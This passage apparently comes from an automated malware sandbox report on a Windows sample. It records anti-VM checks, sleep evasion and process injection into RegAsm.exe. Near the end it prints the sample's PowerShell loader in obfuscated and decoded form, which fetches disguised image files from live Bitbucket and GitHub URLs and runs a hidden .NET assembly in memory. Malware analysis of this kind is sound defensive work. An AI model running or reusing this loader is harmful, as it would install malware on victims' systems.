Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2A30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4A30000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1424	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1398	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4595	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5181	Jump to behavior

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-2345

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3412	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3192	Thread sleep count: 4595 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3192	Thread sleep count: 5181 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5836	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1864	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6544	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Code function: 0_2_00007FF6975A204C FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

0_2_00007FF6975A204C

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Code function: 0_2_00007FF6975A64E4 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_00007FF6975A64E4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000008.00000002.2340710949.000001943F2B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tEventVmNetworkAdapter',
Source: powershell.exe, 00000008.00000002.2340710949.000001943F2B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Remove-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000008.00000002.2340710949.000001943DEED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: QEMU Virtual CPU
Source: powershell.exe, 00000008.00000002.2340710949.000001943F2B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.cdxml',
Source: powershell.exe, 00000008.00000002.2340710949.000001943F2B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000008.00000002.2340710949.000001943E12B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000008.00000002.2340710949.000001943E12B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000008.00000002.2340710949.000001943F2B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000008.00000002.2340710949.000001943F2B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: +MSFT_NetEventVmNetworkAdatper.format.ps1xmlX
Source: powershell.exe, 00000008.00000002.2340710949.000001943F2B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapterX
Source: svchost.exe, 0000000A.00000002.3436789270.0000025084858000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.3437375112.00000250FF22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000008.00000002.2340710949.000001943F2B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: #MSFT_NetEventVmNetworkAdatper.cdxmlX
Source: powershell.exe, 00000008.00000002.2340710949.000001943F2B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Add-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000008.00000002.2340710949.000001943F2B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Get-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000008.00000002.2340710949.000001943E12B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000008.00000002.2340710949.000001943F2B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.format.ps1xml',

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

0_2_00007FF6975A1D28

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Code function: 0_2_00007FF6975A8790 SetUnhandledExceptionFilter,		0_2_00007FF6975A8790
Source: C:\Users\user\Desktop\OTO2wVGgkl.exe	Code function: 0_2_00007FF6975A8494 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00007FF6975A8494

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_5664.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1776, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5664, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 8.2.powershell.exe.1944a15c978.1.raw.unpack, Program.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 8.2.powershell.exe.1944a15c978.1.raw.unpack, Program.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 8.2.powershell.exe.1944a15c978.1.raw.unpack, Program.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num4 + 8, ref buffer, 4, ref bytesRead)
Source: 8.2.powershell.exe.1944a15c978.1.raw.unpack, Program.cs	Reference to suspicious API methods: VirtualAllocEx(processInformation.ProcessHandle, num3, length, 12288, 64)
Source: 8.2.powershell.exe.1944a15c978.1.raw.unpack, Program.cs	Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num5, payload, bufferSize, ref bytesRead)

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 442000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 472000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 8E4008	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.60op/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$codigo = 'wwbo#gu#d##u#fm#zqby#hy#aqbj#gu#u#bv#gk#bgb0#e0#yqbu#ge#zwbl#hi#xq#6#do#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b##g#d0#i#bb#e4#zqb0#c4#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b#bu#hk#c#bl#f0#og#6#fq#b#bz#de#mg#n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgb1#g4#ywb0#gk#bwbu#c##r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#rgby#g8#bqbm#gk#bgbr#hm#i#b7#c##c#bh#hi#yqbt#c##k#bb#hm#d#by#gk#bgbn#fs#xqbd#cq#b#bp#g4#awbz#ck#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#b3#gu#ygbd#gw#aqbl#g4#d##g#d0#i#bo#gu#dw#t#e8#ygbq#gu#ywb0#c##uwb5#hm#d#bl#g0#lgbo#gu#d##u#fc#zqbi#em#b#bp#gu#bgb0#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#c##pq#g#ec#zqb0#c0#ugbh#g4#z#bv#g0#i##t#ek#bgbw#hu#d#bp#gi#agbl#gm#d##g#cq#b#bp#g4#awbz#c##lqbd#g8#dqbu#hq#i##k#gw#aqbu#gs#cw#u#ew#zqbu#gc#d#bo#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgbv#hi#zqbh#gm#a##g#cg#j#bs#gk#bgbr#c##aqbu#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#ck#i#b7#c##d#by#hk#i#b7#c##cgbl#hq#dqby#g4#i##k#hc#zqbi#em#b#bp#gu#bgb0#c4#r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#k##k#gw#aqbu#gs#kq#g#h0#i#bj#ge#d#bj#gg#i#b7#c##ywbv#g4#d#bp#g4#dqbl#c##fq#g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i#by#gu#d#b1#hi#bg#g#cq#bgb1#gw#b##g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gw#aqbu#gs#cw#g#d0#i#b##cg#jwbo#hq#d#bw#hm#og#v#c8#ygbp#hq#ygb1#gm#awbl#hq#lgbv#hi#zw#v#gc#z#bm#gy#zgbm#gy#zgbm#gy#lwbk#gq#z#bk#gq#lwbk#g8#dwbu#gw#bwbh#gq#cw#v#gk#bqbn#f8#d#bl#hm#d##u#go#c#bn#d8#mq#x#dg#mq#x#dc#mw#1#cc#l##g#cc#a#b0#hq#c#bz#do#lw#v#hi#yqb3#c4#zwbp#hq#a#b1#gi#dqbz#gu#cgbj#g8#bgb0#gu#bgb0#c4#ywbv#g0#lwbz#ge#bgb0#g8#bqbh#gw#bw#v#ge#dqbk#gk#d##v#g0#yqbp#g4#lwbp#g0#zwbf#hq#zqbz#hq#lgbq#h##zw#/#de#n##0#dq#mq#3#di#mw#n#ck#ow#n##o#i##g#c##i##g#c##i##g#c##i##g#c##i##k#gk#bqbh#gc#zqbc#hk#d#bl#hm#i##9#c##r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#rgby#g8#bqbm#gk#bgbr#hm#i##k#gw#aqbu#gs#cw#7##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##g#gk#zg#g#cg#j#bp#g0#yqbn#gu#qgb5#hq#zqbz#c##lqbu#gu#i##k#g4#dqbs#gw#kq#g#hs#i##k#gk#bqbh#gc#zqbu#gu#e#b0#c##pq#g#fs#uwb5#hm#d#bl#g0#lgbu#gu#e#b0#c4#rqbu#gm#bwbk#gk#bgbn#f0#og#6#fu#v#bg#dg#lgbh#gu#d#bt#hq#cgbp#g4#zw#o#cq#aqbt#ge#zwbl#ei#eqb0#gu#cw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##j#bz#hq#yqby#hq#rgbs#ge#zw#g#d0#i##n#dw#p#bc#ee#uwbf#dy#n#bf#fm#v#bb#fi#v##+#d4#jw#7#c##j#bl#g4#z#bg#gw#yqbn#c##pq#g#cc#p##8#ei#qqbt#eu#ng#0#f8#rqbo#eq#pg#+#cc#ow#g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##g#d0#i##k#gk#bqbh#gc#zqbu#gu#e#b0#c4#sqbu#gq#zqb4#e8#zg#o#cq#cwb0#ge#cgb0#ey#b#bh#gc#kq#7#c##dq#k#c##i##g#c##i##g#c##i##g#c##i##g#cq#zqbu#gq#sqbu#gq#zqb4#c##pq#g#cq#aqbt#ge#zwbl#fq#zqb4#hq#lgbj#g4#z#bl#hg#twbm#cg#j#bl#g4#z#bg#gw#yqbn#ck#ow#n##o#i##g#c##i##g#c##i##g#c##i##g#c##i#bp#gy#i##o#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##g#c0#zwbl#c##m##g#c0#yqbu#gq#i##k#gu#bgbk#ek#bgbk#gu#e##g#c0#zwb0#c##j#bz#hq#yqby#hq#sqbu#gq#zqb4#ck#i#b7#c##j#bz#hq#yqby#hq#sqbu#gq#zqb4#c##kw#9#c##j#bz#hq#yqby#hq#rgbs#ge#zw#u#ew#zqbu#gc#d#bo#ds#i##n##o#i##g#c
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12 function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $shuffledlinks = get-random -inputobject $links -count $links.length; foreach ($link in $shuffledlinks) { try { return $webclient.downloaddata($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('testpowershell.home'); $method = $type.getmethod('la').invoke($null, [object[]] ('txt.60op/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'startupname', 'regasm', '0'))}}" .exe -windowstyle hidden -exec
